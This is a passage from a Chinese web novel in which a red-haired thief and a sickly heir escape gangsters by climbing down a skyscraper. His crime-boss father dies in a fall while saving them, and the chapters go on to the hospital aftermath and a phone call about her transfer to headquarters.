“好什么好?电梯卡住了,咱们也弄不上来啊!” “要不……”高瘦打手眼睛转了转,“咱们一块儿用手拉?” 蹲着的打手翻了个白眼:“你拉一个我看看。” “试试呗……” 话没说完,一根银针从电梯井的黑暗里飞来,稳准地刺入了他的后颈。 他眼睛瞪圆,瞳孔放大,同时手摸向脖子,摸到一根细细的东西,刚想拔,可手抬到一半,人已经软了下去。 倒地时脑袋磕在地上,发出“咚”的一声。 蹲着的打手猛地抬头,看向电梯井。 他看见一个女人。 红头发,黑衣服,像蜘蛛一样挂在钢丝绳上,夜视镜的镜片在昏暗的光线里反射出两点诡异的光。 此时此刻,这女人一只手扶着钢丝绳,而另一只,正直直地指着他! “啊……”打手张嘴要喊。 银色铁爪从女人袖□□出,快得像子弹,精准地钉进他的锁骨。 巨大的力量把他整个人往后拖,他撞在墙上,铁爪收回时带出一块皮肉,然后他很快滑坐到地,低头看着喷血的伤口,两眼一翻,就什么都不知道了。 还剩最后一个打手,他已经转身跑着要去叫人,忽觉脚下一疼,整个人扑了个狗吃屎,紧接着,一把手刀砍在他的后脑勺,他登时失去了意识。 整个过程不到十秒。 南希收回手,蹲下身,检查了倒地的打手。 没问题,都昏迷了,呼吸平稳。 她开始搜身,很快从高瘦的打手身上摸出一把弹簧刀,而另外两人的武器都是铁管,不好携带,对她来说意义不大。于是她只拿走了刀子,别在了腰后。 然后她走到电梯井边,往下看。 电梯停在下面大约十米处,透过夜视镜,她能看见顶部:灰色金属板,最顶上的检修盖已经被她翻动过。 她再次放出铁爪,固定在洞口处,随即纵深一跃,双手紧紧抓住钢丝绳,滑下去,落在了电梯厢顶上。 这时,温雪生透过检修盖,吃力地探出了个脑袋。 南希嘴角一勾,心想这大少爷还不算太不顶用,然后她一把将他从电梯里拽出,让他趴在自己背上,接着按下按钮,借助铁爪伸缩绳的拉动力,直接跃上了机房层。 然而,没等两人喘口气,机房层里,另外三部电梯的上行灯一下子亮了起来,几乎同一时间,浩浩荡荡的脚步声透过楼梯间的安全门,传进了他们的耳朵。 “小生生。”南希放下温雪生,回头看他,竟笑了一下,只不过笑中略无奈略苦涩,“这下,我们真是走投无路了,要被包围了呢,而且呀,”她低头扫了眼自己有些发抖的两条胳膊,“我力气用完了,装备也用完了。” 脚步声越来越近,安全门似乎在颤。 温雪生似乎咬了咬牙,忽地握住南希的手腕,抬起头,目光闪烁:“还有路。” “啊,什么?”南希觉得手腕有些疼,还有,那握住自己的只手十分冰凉,“路?” 她扫视了一圈,机房层并不宽敞,从这里出去,就是光源大厦的顶层天台……如果说这里还能有路的话,那么只剩…… 她忽然眼睛睁大。 “你说的路该不会是……” “嗯。”温雪生语气坚定,“元旦夜,我来过这里。” 南希的目光一点点收紧。 几个月前,温雪生从光源大厦顶层一跃而下,被张笑远徒手接住,才保下一命,这件事,她至今想起来,都还是那么的荒唐。 “你的意思是,我们从这里跳下去?”南希问。 温雪生走向离他两米外的铁门。 “不算是跳,而是用你的铁爪,从这外面的天台上爬下去。” 他边说边伸手转动铁门把手。 其实,当南希明白温雪生所说的“路”是什么时,这个方案就已经在她脑海里过了一遍,只是操作太难——她的体力几乎耗尽,就算精力充沛,单凭铁爪从四十层攀下也极其艰难,更何况还要带上温雪生。 而且,攀爬耗时太长,中途变数太多:他们可能会被窗内突然出现的打手袭击,也可能被楼下的人发觉、报警。 温雪生背对着南希,看不到她脸上变换的表情,也就更没法知道此时她的想法,但他突然转过了头,说:“没问题,相信我。” 这句话,又好像是在回应南希心里的疑惑。 “只是,”他接着说,“这扇门被锁上了,我上次来时还是开着的……也许就是因为我的缘故,这地方才被重点关注了。” 他仍在转动把手,只是怎么转,铁门依旧纹丝不动。 南希行动,一向以解决眼前的问题为先,现在,从这狭窄的机房层里逃出去,才是最紧迫的。 电梯的上行灯已经闪动,楼梯间的脚步声正加速逼近。 他们已经没有时间可以浪费。 “能出去,有钥匙。”南希的视线掠过倒地的三个打手。 刚才搜身的时候,她翻到过钥匙。于是,她凭借记忆,在其中一个打手的裤腰里一摸,果真找到了她想要的东西。 她立马拽下钥匙环,往温雪生那儿扔去。 温雪生稳稳接住,随手挑了一把看起来差不多大小的钥匙插进门锁,只听“咔嚓”一声,门开了。 两人不由相视。 这难得的幸运,让他们会心一笑,眼里登时有了神采。 而且就在这短暂的瞬间,南希也已经接受了温雪生的提议。 不就是爬楼嘛,最差的结果是摔死,可就算这样,也比在机房层沦为猎人的食物强。 还有,她竟莫名的,很是相信眼前这个病弱的男人。 “小生生,跑起来!”想明白后,南希立马蹬地起身。 温雪生也朝她伸出了手。 半空中,两只手自然地牵在了一起,然后一前一后,冲出机房层,用钥匙锁上了门。 清晨的风不算小,风吹过身体的时候,有一种骨头被刮裂的感觉。 南希和温雪生迎着风,跑到天台的女儿墙旁,外衣被吹得猎猎作响。 她们此时所处的位置,相当于济东之巅。 站在济东之巅往下看,一览众山小,树木、行人、车流,甚至是楼房都被无限缩小,变成了蚂蚁那么大。 “神灵俯视众生的感觉,大概就是这样吧。” 温雪生的话伴着风声传入了南希的耳朵。 她侧头看向他。 他正专心地望着眼下的微型世界。 他的头发被风刮到了脑后,互相之间拍打着,如果发色变黄,跟日本动画片《龙珠》里的超级赛亚人好像没有什么不同。 这幅画面让南希的心情平复下来,甚至还有些愉悦,她眯着眼,说:“你倒是还挺轻松的嘛。嗯……元旦那天,你站在这地方,是不是因为这样想,才有勇气跳下去的?” 温雪生回头,也看向她。 两对视线在和煦的晨光下交融。 “嗯。”他微笑着说,“最重要的是,那个时候,我还看到了你。” “我?” “嗯。那个时候跟现在不一样,那是晚上,天很黑,还下着雪,往下看,能看到的世界有限,但是……”温雪生很快又避开南希的视线,垂下眼眸,“我也不知道为什么,我竟然一眼,就看到了伸着手接雪花的你,我甚至,能看清你的表情……你笑得很开心,让我竟一时觉得,那时候是跟现在一样的清晨。当时我就想,如果我跳下去,就能让那个笑容在这世界上一直存在下去,好像也是功德一件。” 南希听到胸腔里的跳动一点点变大,变沉。 “那你怎么确定,你跳下去后,那个笑容就可以一直存在?” 温雪生的头好像更低了:“我没法确定,但是我能做的好像只有这个……” 他没有往下说,但答案不言而喻,南希闯入他的世界是为了蓝宝石,所以…… 咣咣咣…… 远处的机房层,打手们已经涌入,似乎在激烈地撞门。 南希不再看温雪生,脚下用力,单手扶着女儿墙跳了上去。 温雪生被机房层的震动吸引,正要往回看,忽然被南希一晃,又回过了头,像是受了惊:“你,你干什么?” 南希蹲在墙上,风拍打着她的脸,“嗖嗖”地擦过她的耳畔,将她整个人往后吹,但她还是扶着膝盖站直了。 站在墙上看世界,跟站在女儿墙的保护中看世界,感觉竟然全变了。 “哇哦,这里好爽啊,小生生!别管那边了,你快也上来吧!不上来的话,怎么往下爬?” 她没给温雪生任何做心里建设的机会,话音没落,就一手把温雪生拽到了跟前。 温雪生脚下不稳,直接扑到她身上。 南希撑着他倒退了两步,两个人在狭窄的女儿墙上晃悠着,一会儿往前一会儿又往后,差点踩空摔下“万丈悬崖”。 可南希竟觉得十分畅快,“咯咯咯”地笑出来。 “怎么?怕了吧?”她轻轻蹭着温雪生的耳垂。 温雪生别开头,逞强地站稳,双手却紧紧地搂住了南希。 “怕什么?我又不是没跳过。” “好啊,那么这次一起。”南希挑眉,“不过,在跳下去前,有件事我得跟你说下,关于蓝宝石。” 温雪生身体一颤。 “别紧张。”南希安抚了下他乱飞的长刘海,“之前你老爸逼我做交易,让我把蓝宝石再偷回来,我虽然答应了,却不情不愿。刚才在三十九层,我抓住机会给你老爸打电话,我说,我也在光源大厦,我可以救你儿子,但是咱们之间的交易和恩怨,都要一笔勾销。 “嗯……小生生,我这样做,你会觉得我很卑鄙吗?” 温雪生怔住,他没想到在这生死关头,南希想做的,竟是坦白,还有确认他的心思。 他摇了摇头,轻声:“我只是想知道,如果温四不同意,你还会来救我吗?” 轰隆——!!! 机房层的铁门被打手们协力撞开,一群拿着铁管的黑衣人蜂拥而出。 温雪生的问题,南希没有回答。 也不需要回答。 废话! 她能不救吗?! 不仅如此—— 她身体前倾,在众打手们一上一下的瞳孔里,环抱温雪生一头扎入深渊。 ——小生生,要是跳下去后,我们还能活着的话,我一定,把从你眼里偷走的蓝宝石,还给你! 第67章 坠落 “那是什么啊?” “好高啊!” “妈妈,是超人吗?” “啊啊啊,又往下滑了好几层!” “好像有俩人吊在那!” “他们不会砸下来吧?” …… 光源大厦下,路过的行人仰着头,望着光源大厦由蓝色玻璃拼成的流光外壁,伸着手,指指点点。 起初只有零星几个人停下步子观望,可这世上最不缺的就是好看热闹的人,不一会儿,对面路上的行人也听着声儿赶了过来,仅仅五六分钟的功夫,这地方就聚满了乌泱乌泱的看客。 只是,没有人注意到,路边,不知何时停下了辆风尘仆仆的猎豹。 车厢里,副驾座上那绑满绷带的男人要开门下车。 张笑远冷声叫住他:“李管事。” 绷带男的指尖已经触到了车门把手,他犹豫了一刹,没有动。 他在等那叫他的人继续开口。 “李管事,这是我最后一次阻止你下车,”张笑远如他所愿,“我理解你着急的心情,可是,你要知道,你这样出去实在太显眼了,对温雪生百害而无一利。”他透过窗户,望向光源大厦,南希正背着温雪生,吃力地从楼上往下攀。今天的风不小,气温不高,他很难想象,他们俩现在倒底承受着多么大的痛苦和压力。 张笑远收回视线:“我们现在要做的是好好琢磨琢磨,怎么才能在不给他们添乱,不引起别人注意的情况下,救下他们。” 救下他们。 李大发听到这四个字后,转过了身,用从绷带间隙中露出的两只眼睛,打量了下张笑远,不客气地说:“兄弟,把你的夹克借我,明天我再给你买件新的。” 张笑远皱眉,他瞬间明白了李大发的意思,也知道自己已经拦不住他了。 自打他看到温雪生挂在大厦上的单薄身影,这个男人就已经失去了理智,张笑远觉得他甚至都做好了赴死的准备。 张笑远脱下自己穿了很久的夹克,递过去。 李大发赶紧接过来套在身上,随手把连在夹克上的帽子往头顶一翻,遮住了遍身的绷带。 “谢了,兄弟。”他抬起手,想要跟张笑远做最后的握手。 可张笑远没动。 李大发挑了挑唇角,并不在意,毕竟张笑远是正经人,正经人拒绝跟Black社会握手,天经地义。他又放下手,说:“兄弟,你们端了温重明的老窝,把我从鬼门关里捞回来,这份情我记在心里了。可他妈的……我怕要是让你们白忙活了。温重明那杂种见警车来了,他自己不想活了,竟要拉我当垫背的,一把火差点把我烧成灰!老子命硬,从火海里逃出来,说不定就是为了留着这口气,现在去救少爷!” 他再次转身按住门把手,手腕用力,“少爷他们挂在那么高的地方,万一张小姐体力不够了,撑不住了,砸下来就是两条命。” 车门开了。 “所以你要琢磨的事,我早就琢磨明白了,我怎么也得去救他们!从大厦里面找到他们的位置,把他们给弄回去,就是唯一救他们的法子。” 他跳下车,站稳,啐了一口。 “而且,那姓郑的,他妈带了那么多人,老大也还在里面,我就算豁出这条命,也得冲进去!” 说完,李大发捂着帽子,弓着腰身,一瘸一拐地混入了熙攘的人群。 张笑远的心情没法很快平复,他沉默了片刻,回头对孙红孙紫说:“李管事的话也有道理,你们跟着他去光源大厦,如果遇到紧急情况,可以选择报警。” “好。”孙红孙紫领命下车。 猎豹里只剩下了张笑远一个人。 他摇下窗户,冷风闯入,禁不住打了个寒战。 视野里,聚在光源大厦楼下的人似乎更多了,而楼上,那俩蚂蚁般大小的身影在风中摆动,摇摇欲坠。 他听到有人吆喝: “报警了,已经报警了!” “警察就快到了!” “他们一定要撑住啊!” 一定要撑住啊…… 张笑远在心里重复了一遍路人的话。 几个月前的元旦夜,他路过光源大厦,碰巧撞上一起跳楼事件,当时情况危急,他来不及思考,下意识就举着胳膊冲了过去。 下一瞬,一个不算重的身体,直坠而下,擦破空气,稳稳地掉进了他的怀中。 只是那坠落的冲力实在太大了,他登时感到自己的臂骨碎成了一块一块、一点一点,紧接着是自己的肋骨,胯骨,腿骨…… 最后,他支撑不住,眼冒金星,跌坐在地。 等他再有意识时,周围已经凑满了看热闹的人。 他们惊叹着,欢呼着: “真厉害啊!这小伙子接住了他!” “大英雄啊!” “快去找电视台记者,可以好好采访采访呢!” …… 听后,他立马确认了下怀里的人是否还活着,然后又迅速感受了下全身的骨骼—— 还好,每一块都完好,每一快都强健。 可是,总觉得哪里怪怪的…… 不过这个念头很快被涌上脑海的喜悦冲刷得一干二净。 他成功救了人,不辱破晓使命…… 张笑远收回纷飞的思绪,视线依然钉在车窗外,那一百五十米左右的高空上。 如果上一次能行,那么这一次,他是不是也能行? 他是不是可以作为破晓最后的底牌,在李管事、在孙红孙紫可能失败后,去接下坠落的伙伴? “局中一人已陷困顿,恐有血光之厄,然而,亦有一人,身具扭转乾坤之能,可力挽狂澜于既倒。” 白先生的话,恰到好处地浮上了脑海。 张笑远稍一垂眸,推门而下,大步走向人群。 可就在这时,在他视线边缘,突然闯入了一个小黑点。 那黑点急速放大,下坠,快得让人来不及反应。 下一秒—— 咣——嗤—— 一声闷响,像重物砸进厚棉被,又像轮胎突然漏光了气。 人群静了一瞬,随即炸开。 “啊啊啊!有人跳楼了!” 一个烫着大波浪的女人率先尖嚎。 “两个!是两个人!” 穿工装的男人手指着天上,胳膊僵着还没放下。 “第几个了?光源大厦阴气真重啊!” 旁边摆摊修自行车的老头,用沾满油污的袖子抹了把脸。 “是啊是啊,邪门,真邪门!” 有人低声附和。 …… 一片嘈杂。 张笑远的心跳撞击着肋骨。 他拨开身前交头接耳的人,见缝插针地挤到了最前面。 视野顿时开阔。 他看见了一滩血。 血水在泥地上洇开了一片暗红,两个中年男人并排趴着,一个朝左,一个朝右。 他们身上衣服的料子不错,但现在已经和血肉糊在了一起。 他们的脸侧着贴地,张笑远看不全,但轮廓他熟悉。 如果他没认错的话—— 右边那个,身形矮胖,是郑司令。 左边那个,穿中山装,是温四! 刹那间,张笑远觉得脚下的地晃了一下,耳鸣声嗡嗡地响起,盖过了周围的嘈杂。 他喘了口气,粗重得自己都能听见。 然后,听觉渐渐恢复,尖叫声、嘶喊声再起,那是从光源大厦高处飘下来的声音! 他像是突然意识到了什么,猛地抬起了头。 瞳孔登时放大。 光源大厦的蓝色玻璃墙上,那俩原本用铁钩挂着,随风晃荡的身影,不见了! 南希,温雪生,消失不见了!!! 第68章 (番外) 父与子 温雪生睁开眼睛时,阳光透过白纱帘打在地上,光影斑驳。 屋里还有医疗器械冰冷的“嘀嘀”声。 他动了动手指,酸,麻。手背上扎着针,连着一条蜿蜒的透明软管,药水正一下一下有规律地滴着。 耳边忽然传来“咔哒”一声,像是门开了。 他看过去,果然,一个推着各种瓶瓶罐罐的护士走了进来。 两人视线相撞。 护士的动作滞了下,一句惊讶的话不受控制地滑出喉咙:“少爷,你醒了?!”,然后她扔下小推车就往外跑,边跑边嚷:“少爷醒了,少爷醒了!!!” 大概过了不到两分钟,乱七八糟的脚步声涌进了病房。温雪生眼前多了几张熟悉的面孔: 穿紧身T恤的张笑远。 双手攒来攒去的卢院长。 叉腰靠在一块儿的孙红孙紫。 满身绷带,只露着半张脸,手里还高举着个点滴瓶的李大发。 以及,温沙城堡的王姐,甚至还有李妈妈。 每张面孔上的神情都十分复杂,温雪生没法很快分辨出里面的紧张,激动,或者是哀伤。 他只觉得头痛,心里有一块地方像是被挖空了,这里面没有她……还有…… 这时,李大发扑到了病床边,铁床被震得发出了一阵嗡鸣。 “少爷!你醒了就好……好在你没事,谢天谢地……就是,就是……”李大发的声音变了调,他再也说不下去,一头埋进床上,肩膀隐隐抖动。 温雪生感到一片湿热沿着床单洇到了自己指尖。 心里的那份空洞登时被无限放大,他不由握紧了拳头。 他现在所躺的房间明显是卢氏的vip病房,再加上眼前这些人的反应,他已经可以做出判断,他又晕倒了。 而他的记忆停在了晕倒之前: 他和南希冒险从光源大厦的天台跳下,南希及时放出铁爪,牵住他们的身体,结束了因急速坠落而产生的失重感。 接下来是漫长且艰难的下行。 不过当时的他并不担心。他建议南希跳下天台,虽然有些铤而走险,但他有足够的把握能保南希平安——就像上次在温重明的伏击里脱身那样。 可是没想到,情况远比他预想的要复杂。 当南希第三次操纵铁爪,扣进大厦的外墙时,他们已经下坠到整栋楼的中间位置。 可就在那时,他们面前的玻璃突然发出了一声巨响: 咣——!!! 然后,蛛网般的裂纹在玻璃中心炸开。 紧接着——咣!咣!咣! 三下响声! 那些裂纹急速蔓延、密布,最后终于支撑不住,整面玻璃哗然崩碎。 他们悬在高空,在大风下本就摇摇晃晃,这会儿,大风更狂燥了,就像找到了归宿似的,硬推着他们的后背,咆哮着灌入大厦内部。 就在这摇晃的间隙,温雪生看清了玻璃后的景象。 温四正被三个打手死死按着肩膀。郑司令就站在他身前! 他们两人都望着窗外,只是温四满脸惊恐。 而郑司令,嘴角咧得很大。他手里拎着铁管,大风把他敞开的衣襟吹得狂飞乱舞,但他毫不在意,反而很享受地张开了双臂,像是要拥抱整个济东。 “嘿,有句古话怎么说的来着?”他扯着嗓子喊,“踏破铁鞋无觅处,得来全不费工夫!哈哈哈哈哈……天助我也!真是天助我也!” 温雪生没看他,而是看向了碎玻璃上细密的网格暗纹。他意识到这是一种新式的单面玻璃,里头能看见外头,外头却看不见里头。估计他和南希刚荡到这儿的时候,就成了郑司令眼里的“瓮中之鳖”,眼前破烂的玻璃窗,明摆着是他刚才用铁管捣出来的。 郑司令很快笑够了,脸上只剩下阴狠,现在,他是刀俎,而南希和温雪生为鱼肉!他没使唤手下,自己往前踏了一步,然后抡圆了铁管,就要把眼前碍事的“鱼肉”彻底扫进深渊。 在这千钧一发之际,“砰”的一声巨响闯入耳蜗。 玻璃窗内的房门被一股蛮力撞开,一个缠着绷带、穿着旧夹克的男人踉跄着冲进了屋,他腿脚明显不利索,但冲势极猛,进门一个矮身扫腿,登时撂翻了守在门边的打手。 “姓郑的!我李大发他妈的跟你拼了——!!!” 来人吼了一嗓子,那架势,完全是不要命了。他卯足了劲要朝窗口的郑司令撞,这要是撞实了,借着冲力,两个人大概得一起飞出去。 见状,郑司令脸上的得意瞬间冻结,他了解李大发,知道这刀疤脸啥都干得出来。 电光石火间,他猛地撤步后退,左手一翻,亮出一把寒光闪闪的弹簧刀,甩手就架在了温四的脖子上。 “李大发!”郑司令回喊,“有种你就过来!我倒要好好看看,是你的腿快,还是老子的刀快!?” 这招阴险,却有用。李大发竟硬生生刹在几步开外,瞪着眼,却不敢再动。 郑司令赶紧歪头冲旁边呆愣的打手吼:“还等个屁!把那俩荡秋千的给我捅下去!快!” 他想明白了,亲手解决红发女鬼和温四的宝贝儿子固然爽快,但夜长梦多,赶紧除掉那俩祸患才是正经事儿。 打手们反应过来,扑向窗边。 这时,温四的喉咙在刀锋下剧烈滚动,他没看郑司令,也没看打手,那双充血的眼睛死死钉在李大发脸上,他用尽全身力气嘶喊出来:“救雪生——!!!” 救雪生! 这三个字,像炸雷一样劈进李大发的意识。 他猛地想起不久之前,南希曾对他说的话:“我知道您最在意温大少……啊,不对,应该是温四爷……可你现在是跟着谁干呀?” 他懂,他现在跟着少爷,是少爷的兵,凡事应该以少爷为先。 可,老大呢?老大对自己有恩,还是少爷的亲爹…… 他头痛,他想不明白。 忽然,温四的嘶吼再次炸响,比第一声更决绝:“大发,救雪生就是救我!!!” 救少爷,就是救老大…… “唰”的一下,李大发脑子里的乱麻被这句话烧了个干净。 他眼神一凛,所有犹豫化为乌有,像头豹子一样直直地扑向窗口! 几乎在同时,温四不知打哪儿来的蛮力,肩膀猛然一耸,竟挣开了打手的束缚。 郑司令大惊,慌乱之下,手腕本能地向前一送—— 温四的脖子登时绽开一道血线,但他冲势不减,脑袋狠狠撞在郑司令的胸口上! 另一边,李大发拳脚并用击倒拦路的打手,在温四与郑司令倒地飞出的刹那,他伸手探到窗外,一把捞住了正向窗内荡来的温雪生和南希! 温雪生放大的瞳孔里,两张扭曲的脸一闪即逝,直坠下去。 咣——嗤——!! 人体砸地的声响从楼下传上,又迅速被狂风吞没…… 病床上,温雪生禁不住抖了一下,他清了清喉咙,确定自己还能发声,问:“这次我晕了多久?” 李大发缓缓抬起头,侧着脸抹了两把泪,回:“少爷,您昏迷两天了,当时我把您和张小姐从外面弄进来,您的头撞到了地,当场就昏过去了。”他顿了顿,以为温雪生还想听些别的,继续说,“老大没了……当时的情况您应该瞧见了……还有,我们没让警察带走他的尸体,他现在被冻在医院里,您还能再看他一眼……老大的后事,全看您的安……” “好了。”温雪生打断他,“我问什么,你再答什么,我没问的事情,不需要说。” 李大发愣了下:“哦,好,好……” 温雪生沉吟一会儿:“她呢?” 李大发:“谁?” 边上的孙紫插话:“还能有谁,南希啊。” 李大发赶紧回:“张小姐走了。她觉得自己的打扮太扎眼,怕警察把她当红发女鬼抓了,就在警察上楼之前离开了,之后,她也没再出现。” 张笑远补充:“这两天,我们也一直没有她的信儿,她手机关机,没回家,也没回学校。” 孙红听不下去,说:“笑远,你这样说,搞得温少爷像是被南希故意抛弃了似的。”她眯着眼上前一步,“温少爷,你放心好了,南希不是这样的人。她之前跟我提过,说是最近在申请退出前组织,估计是被这些事儿给缠住了。办妥后,她准会回来找你的……” 温雪生咽了下口水,语气十分不自然:“我没什么不放心的,我就是……” “哦,对了。”孙红继续,“我们也打听过了,她没落到警察手里,只要不是被抓了,凭她的身手和脑子,就不会出什么大事儿。” 温雪生垂下眼皮,不再说什么。 张笑远走到床边,低头看着他,终于提起正事:“温雪生,这次的乱子闹得很大,非常大。从李家村附近的埋骨地,到温重明老巢的火灾,再到光源大厦Black社会的斗殴,这几乎惊动了整个济东的公安。因为你是当事人,警察已经来找了很多遍,这会儿,你醒过来的消息估计已经传到他们那儿了,你最好赶紧想想,该怎么回答警察的问话,是隐瞒还是坦白? “对了,”他的声音突然沉下,“你昏着的时候,警察抄了不少你父亲势力下的点儿,夜总会,仓库、接头的茶馆……总之,好些个,还抓了不少人。只是我很奇怪,这些点儿藏得很深,散得像撒了一把的豆子,警察是怎么找到的?难道有人给警察提供了情报?” 李大发忙接话:“是啊,里面有些点儿连我都只听过大名,没摸过门朝哪开,警察怎么就能一掏一个准的?要是硬说有人提供情报,那这人也只能是老大……” 说到后面,他禁不住抖了一下,像是被这话烫了嘴,后半句直接咽了回去,眼神飘忽地瞅着床头柜。 张笑远极轻地“呵”了一声。 “原来是这样……”他像是明白了什么,自言自语着。 多年来,他追查温四,收集的资料摞起来能抵到腰。他了解,温四有两张脸:一张是济东地下世界的温四爷,狠辣,缜密,手底下的生意见不得光;另一张是报上常提的温老板,慈善晚宴的座上宾,新开发区的投资商,中山装白衬衫,讲话慢条斯理。可这两张脸之间,纸面上干干净净,什么联系也没有,就像是隔着一座永远也跨不过去的高山。 尤其是这几年,温四渐渐的,把手从他的那些黑买卖里抽了出去,把起家的产业交给了郑司令和温重明。这在外人看来,他是在撒手放权,准备养老,但细揪起来,好像并不是那么回事。 这时,李大发的声音再次冒出:“不、不会真是……老大自己吧……”他猛地扑到床上,一把抓住温雪生刚伸出被子的手腕,“少爷!就在上个月,老大叫我过去喝茶,他说,‘大发啊,时代不同了,要与时俱进,学着变通,以后多跟着雪生,做点正经事,别动不动就喊打喊杀。’……” 他喘了口气,眼珠子慌慌地转,“老大还说‘法治社会,黑dao这条路,走到头是死胡同,不会有好下场。’……” 听到这,温雪生一直没什么表情的脸,终于不再淡然。他的胸口开始起伏,被子跟着他微微地抖。 他转过头,盯紧李大发,嗓子哑得厉害:“他,他还说了什么?” 李大发咽了口唾沫,眼珠往左上角瞟,像在翻那天的记忆。 “老大还说……‘不想让雪生小时候那档子事,再来一遍。’” 话音落地,温雪生整个人像被抽了骨头,肩膀一塌,后背重重地撞到了床头。 他张了张嘴,却连一个音都没发出。 张笑远看着温雪生的反应,突然产生了一种同情的感觉。 他查温四,自然知道温雪生小时候被绑架的事儿。他也知道自打那以后,温家父子形同陌路,温雪生憎恨温四,提起自己的父亲时,眼神都带着刺。 现在,他全明白了。 可能从那场绑架结束后,温四便开始筹谋起一场长达十几年的计划。他故意让儿子恨他,恨到骨头里,这样他就可以把儿子干干净净地隔在自己的黑色版图之外,哪怕将来儿子面对警察,也能毫无负担地指认他,甚至举报他。 而他自己,则拖着黑影一路往前,将所有的脏污和危险都挡在外面。 这些不是猜测,张笑远见过可以证明的文件。 温四名下所有干净的投资、企业、慈善基金,最后受益人签字盖章的地方,写的都是“温雪生”,甚至这些投资、企业、慈善基金的本钱都是经得起任何审查的。 就连最后的那场决战,温四扑上去与郑司令同归于寂,也不只是为了救儿子的命。 温四比谁都清楚,只要自己活着,温雪生就永远没法真正站在太阳底下,血缘就像是甩不开的影子。所以他得死,必须死,而且要死在对头手里,死得光明正大,死成一个纯粹的“受害者”。那天晚上,温四怕是早就在等郑司令出现了。 想到这儿,张笑远不由扯了扯嘴角,那表情很是复杂,说不上是感慨还是释然。 “温少爷,”他侧过身,眼睛的余光瞟向温雪生,“一会儿警察来问话的时候,你可以不用太紧张了,因为你已经没什么需要隐瞒的,也没什么不好的事身份怕被被暴露了。” 他顿了顿,向前走到门口,开了门。 “你的父亲,已经把拦在你前面的路障,都替你铲平了。” 【第4卷 Hi,温雪生】 第69章 一次通话 南希给摩托罗拉换上电池,翻开盖,黑白长条屏亮起绿光。 她开始在键盘上按电话号码:139…… 刚按了三个数,铃声响了。 哔-哔哔哔-哔- 她看着屏幕上熟悉的数字,勾起唇角,按下接通键。 “歪,刘总啊!咱俩可真是心有灵犀,我刚要给你打电话,你就打来了!” 刘总是个老油条,不好忽悠,虽然这次南希说得是真的。 “小张,你别给我整这套,你要是想找我,早找了,也不会三整天连个信儿都没有。” 南希恍惚了一下。 三天…… 她上次联系刘总,是托他打申请去总部,那好像都是上辈子的事儿了,哪想竟然才过了三天。 “刘总,这三天可把我忙坏了,都没怎么合眼,”南希装作委屈,“我就差没把自己劈成三瓣使了,这才刚喘口气,就赶紧找你了。” 电话那头静了两秒,然后传来一声重重的“啧”。 “你是忙着和温少爷一块儿,在光源大厦顶上当空中飞人吧?” 南希眉毛一扬:“哟,您这消息够灵通的啊……” “灵通?”刘总打断她,声音闷闷的,“我是瞎了吗?你们的照片都上新闻了!拍得是糊,别人认不出,我还认不出你?你这阵子,一会儿说想隐退,一会儿又要申请去总部,不过这些是你的私事,我不好多问,可关乎你性命的事,我还能装看不见吗?我必须……” 他说到这儿顿住了,听筒里传来窸窸窣窣的声音,像是在摸口袋找烟。 南希奇怪,刘总什么时候也抽烟了? 主要是,人一抽烟就会啰里八嗦,她只好赶紧截住话头,“好了好了我的老刘,你给我打电话,该不会是专程兴师问罪的吧?” 电话里传来一段很长的吸气,接着是烟从鼻腔缓缓冒出的细微声,然后是一段更长的叹息。 “小张啊……”刘总的声音放得很低,每个字都说得很慢,像是不知从何说起,“你这是在跟我装糊涂吗?电视上,收音机里,新闻都快炸锅了,别告诉我你不知道,你跟温少爷的照片只是附带的,真正的头条新闻是温少爷他爸,温四爷。他今天早上从光源大厦掉下去,当场就没了。” 南希脑子里闪过温四撞上郑司令,与自己擦肩而过,冲下大厦的画面。 那一瞬间的风声好像又回来了。 风呼啸着穿过她的耳膜,冲得她头昏脑胀。 其实她早就想过,这事儿发生在市中心的地标建筑,而且主角还是温四这种黑白两道都有名的大人物,他坠楼消息的传播速度,肯定会比野火燎原还快。 只是,现在听刘总这吞吞吐吐又满是忧虑的语气,他八成已经把事情往最坏的方向联想了——觉得温四的死跟她脱不了干系,甚至可能就是她干的。 虽然这事儿要是细究起来,好像,也确实跟她有那么点关系。 南希抚着额头,故作轻松:“哦,你是说温四爷那事儿啊,我当然知道呀。怎么了,有什么问题吗?” “怎么了?你还问我怎么了?!”刘总的声音一下子拔高了,“我倒是想先问问你怎么了!你最近这一系列反常举动我先不管,你就老老实实告诉我,这整整三天,七十二个小时音讯全无,你到底上哪儿了?干什么去了?!” 没等南希回答,他又自顾自地继续说,“好好好,这个你要是不想讲,那你至少告诉我,昨天晚上你发生了什么事儿吧?你怎么会跑到光源大厦顶上去?还挂在外面?你知道我给你打了多少电话吗?你一直关机!一直关机!” 南希把话筒拿远了些,听筒里传出的声音嗡嗡作响。 等那头连珠炮似的质问终于告一段落,她才慢悠悠地把话筒凑回耳边:“那个……刘总,我关机,真没别的原因,就是手机电池没电了……” 刘总愣住了,他怎么也没想到南希会说得这么轻描淡写,但好像又十分合理。 他知道,南希不会再回答他的疑问了。她一向这样,想说才会说,想做才会做,别人很难改变她的想法,也很难逼迫她做任何事。 他又长长地舒了口气,像泄了气的皮球:“唉……” 这时,南希的声音从听筒里传来,有明显的逐客令意味:“那个,刘总啊,我累了,想好好睡一觉,你要是没别的事,我就……” “还有事!”刘总连忙打断她,像怕她下一秒就撂了电话,然后从此消失一样,“我找你是有正事,很重要的事!这个事,昨天晚上就来了,可我找不着你人……”他用力清了清嗓子,试图让声音恢复严肃,但这严肃底下,还隐隐藏着一丝紧绷,“你之前让我打的那个去总部的申请,上头有回音了。” 听到这,南希心里一紧,指尖在摩托罗拉的壳子上划了一下,发出一道像粉笔擦摩擦黑板的刺耳声。 刘总的话还在继续,声音不高,却字字清晰:“总部那边,同意了你的申请。” 南希没出声。 刘总只能听到电话里电流的嗡嗡声。 他便也没再说什么,他想等等南希的反应。 可等了将近半分钟,什么也没等到,他终于忍不住了,试探着问道:“小张?” 然后他听到了清喉咙的声音。 南希回:“哦,这样啊,我知道了。刘总,给我总部的具体地址,还有过去的时间。” 这个回复过于冷静了,冷静到刘总心里发慌。他预想过南希的很多种反应——兴奋地追问细节,谨慎地提出疑惑,或者,用她那种特有的、漫不经心说的语气说“行啊,那就去呗”…… 但,绝不会是现在这样。 “小张,你就不想问点什么吗?”刘总强装镇定,“比如,总部为什么就同意了?那边可能会有什么安排?……” “不想,”南希回,“只要能去就行,别的不重要。” 刘总又叹了一口气。 这已经不知道是今天的第几次了,而且每一次似乎都比前一次更沉重。 